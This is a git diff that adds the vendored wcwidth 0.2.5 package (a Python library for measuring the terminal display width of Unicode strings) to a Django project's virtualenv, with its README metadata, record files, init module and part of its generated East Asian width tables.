KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +Markus Kuhn -- 2007-05-26 (Unicode 5.0) + +Permission to use, copy, modify, and distribute this software +for any purpose and without fee is hereby granted. The author +disclaims all warranties with regard to this software. diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/METADATA new file mode 100644 index 00000000..263388a0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/METADATA @@ -0,0 +1,309 @@ +Metadata-Version: 2.1 +Name: wcwidth +Version: 0.2.5 +Summary: Measures the displayed width of unicode strings in a terminal +Home-page: https://github.com/jquast/wcwidth +Author: Jeff Quast +Author-email: contact@jeffquast.com +License: MIT +Keywords: cjk,combining,console,eastasian,emojiemulator,terminal,unicode,wcswidth,wcwidth,xterm +Platform: UNKNOWN +Classifier: Intended Audience :: Developers +Classifier: Natural Language :: English +Classifier: Development Status :: 5 - Production/Stable +Classifier: Environment :: Console +Classifier: License :: OSI Approved :: MIT License +Classifier: Operating System :: POSIX +Classifier: Programming Language :: Python :: 2.7 +Classifier: Programming Language :: Python :: 3.5 +Classifier: Programming Language :: Python :: 3.6 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Topic :: Software Development :: Libraries +Classifier: Topic :: Software Development :: Localization +Classifier: Topic :: Software Development :: Internationalization +Classifier: Topic :: Terminals +Requires-Dist: backports.functools-lru-cache (>=1.2.1) ; python_version < "3.2" + +|pypi_downloads| |codecov| |license| + +============ +Introduction +============ + +This library is mainly for CLI programs that carefully produce output for +Terminals, or make pretend to be an emulator. + +**Problem Statement**: The printable length of *most* strings are equal to the +number of cells they occupy on the screen ``1 charater : 1 cell``. However, +there are categories of characters that *occupy 2 cells* (full-wide), and +others that *occupy 0* cells (zero-width). + +**Solution**: POSIX.1-2001 and POSIX.1-2008 conforming systems provide +`wcwidth(3)`_ and `wcswidth(3)`_ C functions of which this python module's +functions precisely copy. *These functions return the number of cells a +unicode string is expected to occupy.* + +Installation +------------ + +The stable version of this package is maintained on pypi, install using pip:: + + pip install wcwidth + +Example +------- + +**Problem**: given the following phrase (Japanese), + + >>> text = u'コンニチハ' + +Python **incorrectly** uses the *string length* of 5 codepoints rather than the +*printible length* of 10 cells, so that when using the `rjust` function, the +output length is wrong:: + + >>> print(len('コンニチハ')) + 5 + + >>> print('コンニチハ'.rjust(20, '_')) + _____コンニチハ + +By defining our own "rjust" function that uses wcwidth, we can correct this:: + + >>> def wc_rjust(text, length, padding=' '): + ... from wcwidth import wcswidth + ... return padding * max(0, (length - wcswidth(text))) + text + ... + +Our **Solution** uses wcswidth to determine the string length correctly:: + + >>> from wcwidth import wcswidth + >>> print(wcswidth('コンニチハ')) + 10 + + >>> print(wc_rjust('コンニチハ', 20, '_')) + __________コンニチハ + + +Choosing a Version +------------------ + +Export an environment variable, ``UNICODE_VERSION``. This should be done by +*terminal emulators* or those developers experimenting with authoring one of +their own, from shell:: + + $ export UNICODE_VERSION=13.0 + +If unspecified, the latest version is used. If your Terminal Emulator does not +export this variable, you can use the `jquast/ucs-detect`_ utility to +automatically detect and export it to your shell. + +wcwidth, wcswidth +----------------- +Use function ``wcwidth()`` to determine the length of a *single unicode +character*, and ``wcswidth()`` to determine the length of many, a *string +of unicode characters*. + +Briefly, return values of function ``wcwidth()`` are: + +``-1`` + Indeterminate (not printable). + +``0`` + Does not advance the cursor, such as NULL or Combining. + +``2`` + Characters of category East Asian Wide (W) or East Asian + Full-width (F) which are displayed using two terminal cells. + +``1`` + All others. + +Function ``wcswidth()`` simply returns the sum of all values for each character +along a string, or ``-1`` when it occurs anywhere along a string. + +Full API Documentation at http://wcwidth.readthedocs.org + +========== +Developing +========== + +Install wcwidth in editable mode:: + + pip install -e. + +Execute unit tests using tox_:: + + tox + +Regenerate python code tables from latest Unicode Specification data files:: + + tox -eupdate + +Supplementary tools for browsing and testing terminals for wide unicode +characters are found in the `bin/`_ of this project's source code. Just ensure +to first ``pip install -erequirements-develop.txt`` from this projects main +folder. For example, an interactive browser for testing:: + + ./bin/wcwidth-browser.py + +Uses +---- + +This library is used in: + +- `jquast/blessed`_: a thin, practical wrapper around terminal capabilities in + Python. + +- `jonathanslenders/python-prompt-toolkit`_: a Library for building powerful + interactive command lines in Python. + +- `dbcli/pgcli`_: Postgres CLI with autocompletion and syntax highlighting. + +- `thomasballinger/curtsies`_: a Curses-like terminal wrapper with a display + based on compositing 2d arrays of text. + +- `selectel/pyte`_: Simple VTXXX-compatible linux terminal emulator. + +- `astanin/python-tabulate`_: Pretty-print tabular data in Python, a library + and a command-line utility. + +- `LuminosoInsight/python-ftfy`_: Fixes mojibake and other glitches in Unicode + text. + +- `nbedos/termtosvg`_: Terminal recorder that renders sessions as SVG + animations. + +- `peterbrittain/asciimatics`_: Package to help people create full-screen text + UIs. + +Other Languages +--------------- + +- `timoxley/wcwidth`_: JavaScript +- `janlelis/unicode-display_width`_: Ruby +- `alecrabbit/php-wcwidth`_: PHP +- `Text::CharWidth`_: Perl +- `bluebear94/Terminal-WCWidth`: Perl 6 +- `mattn/go-runewidth`_: Go +- `emugel/wcwidth`_: Haxe +- `aperezdc/lua-wcwidth`: Lua +- `joachimschmidt557/zig-wcwidth`: Zig +- `fumiyas/wcwidth-cjk`: `LD_PRELOAD` override +- `joshuarubin/wcwidth9`: Unicode version 9 in C + +History +------- + +0.2.0 *2020-06-01* + * **Enhancement**: Unicode version may be selected by exporting the + Environment variable ``UNICODE_VERSION``, such as ``13.0``, or ``6.3.0``. + See the `jquast/ucs-detect`_ CLI utility for automatic detection. + * **Enhancement**: + API Documentation is published to readthedocs.org. + * **Updated** tables for *all* Unicode Specifications with files + published in a programmatically consumable format, versions 4.1.0 + through 13.0 + that are published + , versions + +0.1.9 *2020-03-22* + * **Performance** optimization by `Avram Lubkin`_, `PR #35`_. + * **Updated** tables to Unicode Specification 13.0.0. + +0.1.8 *2020-01-01* + * **Updated** tables to Unicode Specification 12.0.0. (`PR #30`_). + +0.1.7 *2016-07-01* + * **Updated** tables to Unicode Specification 9.0.0. (`PR #18`_). + +0.1.6 *2016-01-08 Production/Stable* + * ``LICENSE`` file now included with distribution. + +0.1.5 *2015-09-13 Alpha* + * **Bugfix**: + Resolution of "combining_ character width" issue, most especially + those that previously returned -1 now often (correctly) return 0. + resolved by `Philip Craig`_ via `PR #11`_. + * **Deprecated**: + The module path ``wcwidth.table_comb`` is no longer available, + it has been superseded by module path ``wcwidth.table_zero``. + +0.1.4 *2014-11-20 Pre-Alpha* + * **Feature**: ``wcswidth()`` now determines printable length + for (most) combining_ characters. The developer's tool + `bin/wcwidth-browser.py`_ is improved to display combining_ + characters when provided the ``--combining`` option + (`Thomas Ballinger`_ and `Leta Montopoli`_ `PR #5`_). + * **Feature**: added static analysis (prospector_) to testing + framework. + +0.1.3 *2014-10-29 Pre-Alpha* + * **Bugfix**: 2nd parameter of wcswidth was not honored. + (`Thomas Ballinger`_, `PR #4`_). + +0.1.2 *2014-10-28 Pre-Alpha* + * **Updated** tables to Unicode Specification 7.0.0. + (`Thomas Ballinger`_, `PR #3`_). + +0.1.1 *2014-05-14 Pre-Alpha* + * Initial release to pypi, Based on Unicode Specification 6.3.0 + +This code was originally derived directly from C code of the same name, +whose latest version is available at +http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c:: + + * Markus Kuhn -- 2007-05-26 (Unicode 5.0) + * + * Permission to use, copy, modify, and distribute this software + * for any purpose and without fee is hereby granted. The author + * disclaims all warranties with regard to this software. + +.. _`tox`: https://testrun.org/tox/latest/install.html +.. _`prospector`: https://github.com/landscapeio/prospector +.. _`combining`: https://en.wikipedia.org/wiki/Combining_character +.. _`bin/`: https://github.com/jquast/wcwidth/tree/master/bin +.. _`bin/wcwidth-browser.py`: https://github.com/jquast/wcwidth/tree/master/bin/wcwidth-browser.py +.. _`Thomas Ballinger`: https://github.com/thomasballinger +.. _`Leta Montopoli`: https://github.com/lmontopo +.. _`Philip Craig`: https://github.com/philipc +.. _`PR #3`: https://github.com/jquast/wcwidth/pull/3 +.. _`PR #4`: https://github.com/jquast/wcwidth/pull/4 +.. _`PR #5`: https://github.com/jquast/wcwidth/pull/5 +.. _`PR #11`: https://github.com/jquast/wcwidth/pull/11 +.. _`PR #18`: https://github.com/jquast/wcwidth/pull/18 +.. _`PR #30`: https://github.com/jquast/wcwidth/pull/30 +.. _`PR #35`: https://github.com/jquast/wcwidth/pull/35 +.. _`jquast/blessed`: https://github.com/jquast/blessed +.. _`selectel/pyte`: https://github.com/selectel/pyte +.. _`thomasballinger/curtsies`: https://github.com/thomasballinger/curtsies +.. _`dbcli/pgcli`: https://github.com/dbcli/pgcli +.. _`jonathanslenders/python-prompt-toolkit`: https://github.com/jonathanslenders/python-prompt-toolkit +.. _`timoxley/wcwidth`: https://github.com/timoxley/wcwidth +.. _`wcwidth(3)`: http://man7.org/linux/man-pages/man3/wcwidth.3.html +.. _`wcswidth(3)`: http://man7.org/linux/man-pages/man3/wcswidth.3.html +.. _`astanin/python-tabulate`: https://github.com/astanin/python-tabulate +.. _`janlelis/unicode-display_width`: https://github.com/janlelis/unicode-display_width +.. _`LuminosoInsight/python-ftfy`: https://github.com/LuminosoInsight/python-ftfy +.. _`alecrabbit/php-wcwidth`: https://github.com/alecrabbit/php-wcwidth +.. _`Text::CharWidth`: https://metacpan.org/pod/Text::CharWidth +.. _`bluebear94/Terminal-WCWidth`: https://github.com/bluebear94/Terminal-WCWidth +.. _`mattn/go-runewidth`: https://github.com/mattn/go-runewidth +.. _`emugel/wcwidth`: https://github.com/emugel/wcwidth +.. _`jquast/ucs-detect`: https://github.com/jquast/ucs-detect +.. _`Avram Lubkin`: https://github.com/avylove +.. _`nbedos/termtosvg`: https://github.com/nbedos/termtosvg +.. _`peterbrittain/asciimatics`: https://github.com/peterbrittain/asciimatics +.. _`aperezdc/lua-wcwidth`: https://github.com/aperezdc/lua-wcwidth +.. _`fumiyas/wcwidth-cjk`: https://github.com/fumiyas/wcwidth-cjk +.. |pypi_downloads| image:: https://img.shields.io/pypi/dm/wcwidth.svg?logo=pypi + :alt: Downloads + :target: https://pypi.org/project/wcwidth/ +.. |codecov| image:: https://codecov.io/gh/jquast/wcwidth/branch/master/graph/badge.svg + :alt: codecov.io Code Coverage + :target: https://codecov.io/gh/jquast/wcwidth/ +.. |license| image:: https://img.shields.io/github/license/jquast/wcwidth.svg + :target: https://pypi.python.org/pypi/wcwidth/ + :alt: MIT License + + diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/RECORD new file mode 100644 index 00000000..72b48627 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/RECORD @@ -0,0 +1,22 @@ +wcwidth-0.2.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +wcwidth-0.2.5.dist-info/LICENSE,sha256=cLmKlaIUTrcK-AF_qMbZXOJH5AhnQ26LxknhN_4T0ho,1322 +wcwidth-0.2.5.dist-info/METADATA,sha256=K6QVxN6Eq7tMwUYeCeEgAcg0VjFqTrrUPOZL3flmEco,11257 +wcwidth-0.2.5.dist-info/RECORD,, +wcwidth-0.2.5.dist-info/WHEEL,sha256=kGT74LWyRUZrL4VgLh6_g12IeVl_9u9ZVhadrgXZUEY,110 +wcwidth-0.2.5.dist-info/top_level.txt,sha256=LLjS8SFiXXuLEcD2BNdFdGhpKWe5opHtvn7KNj9AIRI,8 +wcwidth-0.2.5.dist-info/zip-safe,sha256=AbpHGcgLb-kRsJGnwFEktk7uzpZOCcBY74-YBdrKVGs,1 +wcwidth/__init__.py,sha256=89fk8q2MPb4clahe_qDVIzlIa0U2872dsE4hEwxC6W8,1557 +wcwidth/__pycache__/__init__.cpython-310.pyc,, +wcwidth/__pycache__/table_wide.cpython-310.pyc,, +wcwidth/__pycache__/table_zero.cpython-310.pyc,, +wcwidth/__pycache__/unicode_versions.cpython-310.pyc,, +wcwidth/__pycache__/wcwidth.cpython-310.pyc,, +wcwidth/table_wide.py,sha256=0yAEOGX6KIrsm5dUpzG0Jrb4s8wB6c7MC76ndXjLLj8,79422 +wcwidth/table_zero.py,sha256=w8ym8msWG1R2XhtJXRjUkT1erFIhj8d6YclXXrYoakQ,310230 +wcwidth/tests/__init__.py,sha256=v_2uRwUE3hTJkuW656dLrkDiM9al7KL1j_vwGRc0RTM,42 +wcwidth/tests/__pycache__/__init__.cpython-310.pyc,, +wcwidth/tests/__pycache__/test_core.cpython-310.pyc,, +wcwidth/tests/test_core.py,sha256=gBaR8b3Vv2Wq1q5vGk9fAT0eW12AaEK5kuzH6fwCO-Q,3886 +wcwidth/unicode_versions.py,sha256=pmyPU8jPCqNOjOHSVHLedKcWeW-SABSBcJ1EJemQJbo,792 +wcwidth/version.json,sha256=1zjrg0NodaudGjvcY-Eh-5JnBGKHkmVCIj2L9lN9k-U,202 +wcwidth/wcwidth.py,sha256=0bgA8U17QyvSHscy5zu1JW7rTWcEadw6HwNNbA9Phvk,14872 diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/WHEEL new file mode 100644 index 00000000..ef99c6cf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/WHEEL @@ -0,0 +1,6 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.34.2) +Root-Is-Purelib: true +Tag: py2-none-any +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/top_level.txt new file mode 100644 index 00000000..723a22ca --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/top_level.txt @@ -0,0 +1 @@ +wcwidth diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/zip-safe b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/zip-safe new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/zip-safe @@ -0,0 +1 @@ + diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/__init__.py b/django_lottopy/lib/python3.10/site-packages/wcwidth/__init__.py new file mode 100644 index 00000000..a9008f82 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/__init__.py @@ -0,0 +1,37 @@ +""" +wcwidth module. + +https://github.com/jquast/wcwidth +""" +# re-export all functions & definitions, even private ones, from top-level +# module path, to allow for 'from wcwidth import _private_func'. Of course, +# user beware that any _private function may disappear or change signature at +# any future version. + +# local +from .wcwidth import ZERO_WIDTH # noqa +from .wcwidth import (WIDE_EASTASIAN, + wcwidth, + wcswidth, + _bisearch, + list_versions, + _wcmatch_version, + _wcversion_value) + +# The __all__ attribute defines the items exported from statement, +# 'from wcwidth import *', but also to say, "This is the public API". +__all__ = ('wcwidth', 'wcswidth', 'list_versions') + +# I used to use a _get_package_version() function to use the `pkg_resources' +# module to parse the package version from our version.json file, but this blew +# some folks up, or more particularly, just the `xonsh' shell. +# +# Yikes! I always wanted to like xonsh and tried it many times but issues like +# these always bit me, too, so I can sympathize -- this version is now manually +# kept in sync with version.json to help them out. Shucks, this variable is just +# for legacy, from the days before 'pip freeze' was a thing. +# +# We also used pkg_resources to load unicode version tables from version.json, +# generated by bin/update-tables.py, but some environments are unable to +# import pkg_resources for one reason or another, yikes! +__version__ = '0.2.5' diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/table_wide.py b/django_lottopy/lib/python3.10/site-packages/wcwidth/table_wide.py new file mode 100644 index 00000000..36fb2b60 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/table_wide.py @@ -0,0 +1,1102 @@ +"""Wide_Eastasian table, created by bin/update-tables.py.""" +# Generated: 2020-06-23T16:03:18.836005 +WIDE_EASTASIAN = { + '4.1.0': ( + # Source: EastAsianWidth-4.1.0.txt + # Date: 2005-03-17, 15:21:00 PST [KW] + # + (0x01100, 0x01159,), # Hangul Choseong Kiyeok ..Hangul Choseong Yeorinhi + (0x0115f, 0x0115f,), # Hangul Choseong Filler ..Hangul Choseong Filler + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312c,), # Bopomofo Letter B ..Bopomofo Letter Gn + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031b7,), # Ideographic Annotation L..Bopomofo Final Letter H + (0x031c0, 0x031cf,), # Cjk Stroke T ..Cjk Stroke N + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03243,), # Parenthesized Ideograph ..Parenthesized Ideograph + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04db5,), # Square Apaato ..Cjk Unified Ideograph-4d + (0x04e00, 0x09fbb,), # Cjk Unified Ideograph-4e..Cjk Unified Ideograph-9f + (0x0a000, 0x0a48c,), # Yi Syllable It ..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0fa2d,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fa30, 0x0fa6a,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fa70, 0x0fad9,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '5.0.0': ( + # Source: EastAsianWidth-5.0.0.txt + # Date: 2006-02-15, 14:39:00 PST [KW] + # + (0x01100, 0x01159,), # Hangul Choseong Kiyeok ..Hangul Choseong Yeorinhi + (0x0115f, 0x0115f,), # Hangul Choseong Filler ..Hangul Choseong Filler + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312c,), # Bopomofo Letter B ..Bopomofo Letter Gn + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031b7,), # Ideographic Annotation L..Bopomofo Final Letter H + (0x031c0, 0x031cf,), # Cjk Stroke T ..Cjk Stroke N + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03243,), # Parenthesized Ideograph ..Parenthesized Ideograph + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04db5,), # Square Apaato ..Cjk Unified Ideograph-4d + (0x04e00, 0x09fbb,), # Cjk Unified Ideograph-4e..Cjk Unified Ideograph-9f + (0x0a000, 0x0a48c,), # Yi Syllable It ..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0fa2d,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fa30, 0x0fa6a,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fa70, 0x0fad9,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '5.1.0': ( + # Source: EastAsianWidth-5.1.0.txt + # Date: 2008-03-20, 17:42:00 PDT [KW] + # + (0x01100, 0x01159,), # Hangul Choseong Kiyeok ..Hangul Choseong Yeorinhi + (0x0115f, 0x0115f,), # Hangul Choseong Filler ..Hangul Choseong Filler + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031b7,), # Ideographic Annotation L..Bopomofo Final Letter H + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03243,), # Parenthesized Ideograph ..Parenthesized Ideograph + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04db5,), # Square Apaato ..Cjk Unified Ideograph-4d + (0x04e00, 0x09fc3,), # Cjk Unified Ideograph-4e..Cjk Unified Ideograph-9f + (0x0a000, 0x0a48c,), # Yi Syllable It ..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0fa2d,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fa30, 0x0fa6a,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fa70, 0x0fad9,), # Cjk Compatibility Ideogr..Cjk Compatibility Ideogr + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '5.2.0': ( + # Source: EastAsianWidth-5.2.0.txt + # Date: 2009-06-09, 17:47:00 PDT [KW] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x011a3, 0x011a7,), # Hangul Jungseong A-eu ..Hangul Jungseong O-yae + (0x011fa, 0x011ff,), # Hangul Jongseong Kiyeok-..Hangul Jongseong Ssangni + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031b7,), # Ideographic Annotation L..Bopomofo Final Letter H + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0d7b0, 0x0d7c6,), # Hangul Jungseong O-yeo ..Hangul Jungseong Araea-e + (0x0d7cb, 0x0d7fb,), # Hangul Jongseong Nieun-r..Hangul Jongseong Phieuph + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x1f200, 0x1f200,), # Square Hiragana Hoka ..Square Hiragana Hoka + (0x1f210, 0x1f231,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '6.0.0': ( + # Source: EastAsianWidth-6.0.0.txt + # Date: 2010-08-17, 12:17:00 PDT [KW] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x011a3, 0x011a7,), # Hangul Jungseong A-eu ..Hangul Jungseong O-yae + (0x011fa, 0x011ff,), # Hangul Jongseong Kiyeok-..Hangul Jongseong Ssangni + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph 